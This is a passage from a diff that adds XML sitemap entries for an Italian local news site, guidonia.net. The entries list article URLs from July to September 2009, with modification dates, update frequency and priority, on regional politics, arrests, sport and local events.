+		<loc>http://www.guidonia.net/wp/lazio-gli-appuntamenti-di-domani-del-presidente-marrazzo-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-09-07T20:02:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-provincia-lagenda-della-giunta-per-domani-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-09-07T19:57:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-agenda-lazio-gli-appuntamenti-di-domani-il-velino.html</loc>
+		<lastmod>2009-09-07T17:41:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/spaccio-di-cocaina-pusher-romeno-arrestato-dai-carabinieri-melito-online.html</loc>
+		<lastmod>2009-09-07T14:21:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-guidonia-spaccio-cocaina-rumeno-arrestato-dai-carabinieri-il-velino.html</loc>
+		<lastmod>2009-09-07T13:45:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sorpreso-a-spacciare-cocaina-pusher-arrestato-dai-carabinieri-libero-news-it.html</loc>
+		<lastmod>2009-09-07T13:43:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fisichella-sara-a-vallelunga-per-lesafety-challenge-omniauto.html</loc>
+		<lastmod>2009-09-05T23:00:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sfruttamento-clandestini-4-arresti-e-12-denunce-dei-libero-news-it.html</loc>
+		<lastmod>2009-09-04T17:04:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sfruttamento-clandestini-4-arresti-e-12-denunce-dei-libero-news-it-2.html</loc>
+		<lastmod>2009-09-04T16:45:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavoro-nero-12-denunciati-a-car-guidonia-arrestati-4-egiziani-il-giornale.html</loc>
+		<lastmod>2009-09-04T15:08:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lavoro-nero-12-denunciati-a-car-guidonia-arrestati-4-egiziani-la-repubblica.html</loc>
+		<lastmod>2009-09-04T14:06:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tesseramento-anno-sportivo-2009-2010-comitato-di-roma-della-federazione-italiana-bocce-2.html</loc>
+		<lastmod>2009-09-04T08:26:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tesseramento-anno-sportivo-2009-2010-comitato-di-roma-della-federazione-italiana-bocce.html</loc>
+		<lastmod>2009-09-04T08:26:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ferrari-racing-days-a-brno-racegarage-it.html</loc>
+		<lastmod>2009-09-03T12:49:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tesseramento-anno-sportivo-2009-2010-comitato-di-roma-della-federazione-italiana-bocce-3.html</loc>
+		<lastmod>2009-09-03T10:05:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/racconigi-domenica-primo-volo-per-una-giovane-cicogna-targatocn.html</loc>
+		<lastmod>2009-09-03T07:54:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/racconigi-domenica-primo-volo-per-una-giovane-cicogna-targatocn.html</loc>
+		<lastmod>2009-09-03T07:54:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/racconigi-domenica-primo-volo-per-una-giovane-cicogna-targatocn.html</loc>
+		<lastmod>2009-09-03T07:54:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidoniattivaepossibile-10-11-12-13sett-09.html</loc>
+		<lastmod>2009-09-01T19:12:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/regolarizzione-colf-e-badanti-dalla-provincia-di-roma-le-dire-abbonamento.html</loc>
+		<lastmod>2009-09-01T11:30:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cameli-nellempireo-dei-poeti-di-oggi-il-quotidiano.html</loc>
+		<lastmod>2009-09-01T09:15:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cameli-nellempireo-dei-poeti-di-oggi-il-quotidiano.html</loc>
+		<lastmod>2009-09-01T09:15:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serie-b-torino-a-valanga-sullempoli-mediterraneo-online.html</loc>
+		<lastmod>2009-09-01T01:15:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/franco-cameli-entra-a-far-parte-dellenciclopedia-dei-poeti-sambenedetto-oggi.html</loc>
+		<lastmod>2009-08-31T15:19:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/calcio-coppa-italia-la-flaminia-tra-ontuscia-it.html</loc>
+		<lastmod>2009-08-30T19:26:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/xiv-sagra-della-cucina-regionale-a-setteville-di-guidonia.html</loc>
+		<lastmod>2009-08-30T17:18:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-protezione-civile-lazio-50-famiglie-di-nuovo-con-acqua-dopo-libero-news-it.html</loc>
+		<lastmod>2009-08-29T10:23:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-protezione-civile-fornitura-di-acqua-potabili-per-50-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-08-29T09:13:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-rocca-imperiale-il-i-concorso-nazionale-di-poesia-inedita-il-sibarinet-it.html</loc>
+		<lastmod>2009-08-29T08:24:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/acr-messina-arriva-un-altro-centrocampista-alessandro-sabatino-tempo-stretto.html</loc>
+		<lastmod>2009-08-28T13:19:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pecorelli-annuncia-larrivo-di-sabatino-chiesto-un-sopralluogo-messina-sportiva.html</loc>
+		<lastmod>2009-08-28T12:38:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nuovi-sportelli-ater-in-provincia-castellinews-it.html</loc>
+		<lastmod>2009-08-28T06:17:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/arrivano-finalmente-nuovi-sportelli-a-il-tempo.html</loc>
+		<lastmod>2009-08-28T04:06:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/casa-ater-da-regione-oltre-700mila-il-giornale.html</loc>
+		<lastmod>2009-08-27T17:04:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/casa-ater-da-regione-oltre-700mila-la-repubblica.html</loc>
+		<lastmod>2009-08-27T16:24:59+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/casa-oltre-700-000-euro-da-regione-l-libero-news-it.html</loc>
+		<lastmod>2009-08-27T15:20:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-79-a-71-milioni-utile-netto-p-milano-finanza.html</loc>
+		<lastmod>2009-08-27T14:33:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/confermata-la-crescita-secondo-il-per-lamiafinanza.html</loc>
+		<lastmod>2009-08-27T12:50:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-siiq-utile-netto-sem1-scende-del-reuters-italia.html</loc>
+		<lastmod>2009-08-27T12:16:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-nel-i-semestre-ricavi-in-rialzo-finanzaonline-com.html</loc>
+		<lastmod>2009-08-27T11:46:31+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-utile-netto-semestrale-a-713-mln-la-stampa.html</loc>
+		<lastmod>2009-08-27T11:45:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/igd-crolla-lutile-netto-nel-primo-s-trend-online-com.html</loc>
+		<lastmod>2009-08-27T11:40:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/crescono-i-ricavi-semestrali-di-igd-tiscali-notizie.html</loc>
+		<lastmod>2009-08-27T11:22:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/crescono-i-ricavi-semestrali-di-igd-la-repubblica.html</loc>
+		<lastmod>2009-08-27T11:20:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tivoli-de-vincenzi-pd-sollecita-amp-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-08-27T08:03:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fiumicino-arrestato-trafficante-drog-il-giornale.html</loc>
+		<lastmod>2009-08-26T17:21:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fiumicino-arrestato-trafficante-drog-la-repubblica.html</loc>
+		<lastmod>2009-08-26T16:21:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/violare-i-domiciliari-ogni-scusa-e-b-il-tempo.html</loc>
+		<lastmod>2009-08-26T10:49:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/mia-moglie-mi-ha-cacciato-di-casa-v-il-tempo.html</loc>
+		<lastmod>2009-08-26T09:16:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tivoli-polizia-al-collasso-il-tempo.html</loc>
+		<lastmod>2009-08-26T04:12:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/san-basilio-evade-da-domiciliari-per-il-giornale.html</loc>
+		<lastmod>2009-08-25T14:23:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/san-basilio-evade-da-domiciliari-per-la-repubblica.html</loc>
+		<lastmod>2009-08-25T13:33:24+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pregiudicato-evade-dagli-arresti-domi-melito-online.html</loc>
+		<lastmod>2009-08-25T09:52:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/evade-dai-domiciliari-arrestato-quar-citta-di-genova.html</loc>
+		<lastmod>2009-08-25T09:31:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ultimo-tango-in-campidoglio-lespresso.html</loc>
+		<lastmod>2009-08-25T08:23:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/in-casa-fa-troppo-caldo-e-cosi-evade-siciliainformazioni-com.html</loc>
+		<lastmod>2009-08-25T08:06:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-evade-dai-domiciliari-per-il-ca-libero-news-it.html</loc>
+		<lastmod>2009-08-25T08:00:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/in-casa-fa-troppo-caldo-e-cosi-evade-italiainformazioni.html</loc>
+		<lastmod>2009-08-25T07:50:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-evade-da-domiciliari-per-il-cal-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-08-25T07:26:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/emergenza-abitativa-nuovi-progetti-n-nanopress.html</loc>
+		<lastmod>2009-08-25T06:26:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/alessandrina-de-rubeis-la-citta-nel-agora-magazine.html</loc>
+		<lastmod>2009-08-25T00:00:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/alessandrina-de-rubeis-la-citta-nel-politicamentecorretto-com.html</loc>
+		<lastmod>2009-08-24T22:05:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/controlli-dei-carabinieri-delle-perso-melito-online.html</loc>
+		<lastmod>2009-08-24T13:30:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-evadono-dai-domiciliari-15-arr-libero-news-it.html</loc>
+		<lastmod>2009-08-24T13:20:52+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-evadono-dai-domiciliari-15-arr-libero-news-it-2.html</loc>
+		<lastmod>2009-08-24T13:20:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-roma-arrestate-da-carabinieri-il-velino.html</loc>
+		<lastmod>2009-08-24T10:39:55+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frascati-evadono-domiciliari-per-cal-la-repubblica.html</loc>
+		<lastmod>2009-08-24T09:22:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/avellino-e-pisa-passano-il-turno-ai-r-messina-sportiva.html</loc>
+		<lastmod>2009-08-24T09:10:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-controlli-cc-frascati-in-ultim-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-08-24T07:39:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frascati-fa-troppo-caldo-croata-eva-agi-agenzia-giornalistica-italia-2.html</loc>
+		<lastmod>2009-08-24T06:54:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/frascati-fa-troppo-caldo-croata-eva-agi-agenzia-giornalistica-italia.html</loc>
+		<lastmod>2009-08-24T06:54:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/controlli-degli-arresti-domiciliari-a-castellinews-it.html</loc>
+		<lastmod>2009-08-24T06:40:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serie-d-coppa-italia-turno-prelimi-notizie-msn-italia.html</loc>
+		<lastmod>2009-08-23T22:02:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serie-d-coppa-italia-turno-prelimi-datasport.html</loc>
+		<lastmod>2009-08-23T21:16:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stupro-alla-sagra-%c2%abla-ragazza-era-con-il-tempo.html</loc>
+		<lastmod>2009-08-23T03:58:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/campagna-contro-labbandono.html</loc>
+		<lastmod>2009-08-22T07:08:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/%c2%abnon-e-la-prima-volta-servono-piu-car-il-tempo.html</loc>
+		<lastmod>2009-08-22T03:57:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sedicenne-violentata-arrestato-lunione-sarda.html</loc>
+		<lastmod>2009-08-22T02:07:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-scia-di-stupri-da-capodanno-a-f-il-secolo-xix.html</loc>
+		<lastmod>2009-08-21T19:49:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sedicenne-violentata-arrestato-un-ro-il-secolo-xix.html</loc>
+		<lastmod>2009-08-21T15:48:26+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-piano-dellasse-per-dominare-i-cieli-libero-news-it.html</loc>
+		<lastmod>2009-08-20T05:42:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-caldo-a-roma-anche-giovedi-sar-il-velino.html</loc>
+		<lastmod>2009-08-18T12:02:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/allerta-caldo-dal-comune-pronto-non-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-08-18T07:08:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-protesta-dei-gladiatori.html</loc>
+		<lastmod>2009-08-18T02:08:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-al-vittoriano-oltre-i-sensi-d-adnkronosign.html</loc>
+		<lastmod>2009-08-12T14:52:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/monteriggioni-nel-girone-e-toscanasport.html</loc>
+		<lastmod>2009-08-12T08:02:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ecco-i-gironi-di-serie-d-la-casertan-interno18.html</loc>
+		<lastmod>2009-08-11T11:36:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-classe-operaia-va-in-paradiso.html</loc>
+		<lastmod>2009-08-11T09:08:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/supporto-rispettare-i-sans-papier%c2%bb-il-messaggero.html</loc>
+		<lastmod>2009-08-08T14:04:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/immigrati-fini-%c2%abnon-sono-momentaneo-supporto-rispettare-i-sans-il-messaggero.html</loc>
+		<lastmod>2009-08-08T10:34:56+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stupro-guidonia-chiuse-le-indagini-il-tempo.html</loc>
+		<lastmod>2009-08-08T04:08:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-nostro-cinquecento-diece-e-cinque-politicamentecorretto-com.html</loc>
+		<lastmod>2009-08-07T22:07:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/diretta-streaming-del-premio-internazionale-ginestra-doro.html</loc>
+		<lastmod>2009-08-06T06:19:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-buonasorte-la-destra-pedica-libero-news-it.html</loc>
+		<lastmod>2009-08-05T19:01:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-astorre-pd-pedica-smentisce-libero-news-it.html</loc>
+		<lastmod>2009-08-05T18:01:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pasquale-fusco-udc-politicamente-vergognoso-il-comportamento-di-la-provincia-latina-tv.html</loc>
+		<lastmod>2009-08-05T11:46:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-i-numeri-dellamministrazione-rubeis.html</loc>
+		<lastmod>2009-08-04T20:08:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-nascondeva-in-casa-piantagione-canapa-indiana-arrestato-dai-libero-news-it.html</loc>
+		<lastmod>2009-08-03T13:04:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/alter_news-abruzzesi.html</loc>
+		<lastmod>2009-08-03T00:30:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-consiglio-comunale-di-roma-si-interessa-del-trasferimento-di-sede-dell%c2%92uffici.html</loc>
+		<lastmod>2009-08-03T00:30:33+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/un-gommone-sul-mare-a-firenze-per-dire-no-ai-cie.html</loc>
+		<lastmod>2009-08-03T00:30:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-cotral-de-vincenzi-su-di-me-polemiche-strumentali-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-08-02T12:23:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-solidarieta-arriva-anche-dallalgeria-il-tempo.html</loc>
+		<lastmod>2009-08-02T04:13:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ghost-city.html</loc>
+		<lastmod>2009-08-01T17:53:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/transessuale-ucciso-a-centocelle-il-pm-chiede-il-giudizio-immediato-gaynews.html</loc>
+		<lastmod>2009-07-31T22:03:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-coppotelli-inefficienza-comune-blocca-servizi-sociali-il-velino.html</loc>
+		<lastmod>2009-07-31T16:00:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-coppotelli-inefficienza-comune-di-guidonia-paralizza-servizi-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-07-31T14:09:01+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/trasporti-maselli-marrazzo-usa-aziende-per-maggioranza-trasporti-oggi.html</loc>
+		<lastmod>2009-07-30T17:50:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/trasporti-desideri-su-cotral-marrazzo-ha-toccato-fondo-trasporti-oggi.html</loc>
+		<lastmod>2009-07-30T17:28:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/trasporti-hermanin-portantino-presidente-cotral-perche-trasporti-oggi.html</loc>
+		<lastmod>2009-07-30T16:54:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/fogne-finite-ma-non-possono-funzionare.html</loc>
+		<lastmod>2009-07-30T15:43:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/un-piano-strategico-sulla-mobilita-per-%c2%abstappare%c2%bb-le-consolari-il-giornale.html</loc>
+		<lastmod>2009-07-30T05:02:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-uccisione-trans-a-giudizio-immediato-presunto-responsabile-il-secolo-xix.html</loc>
+		<lastmod>2009-07-29T13:50:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
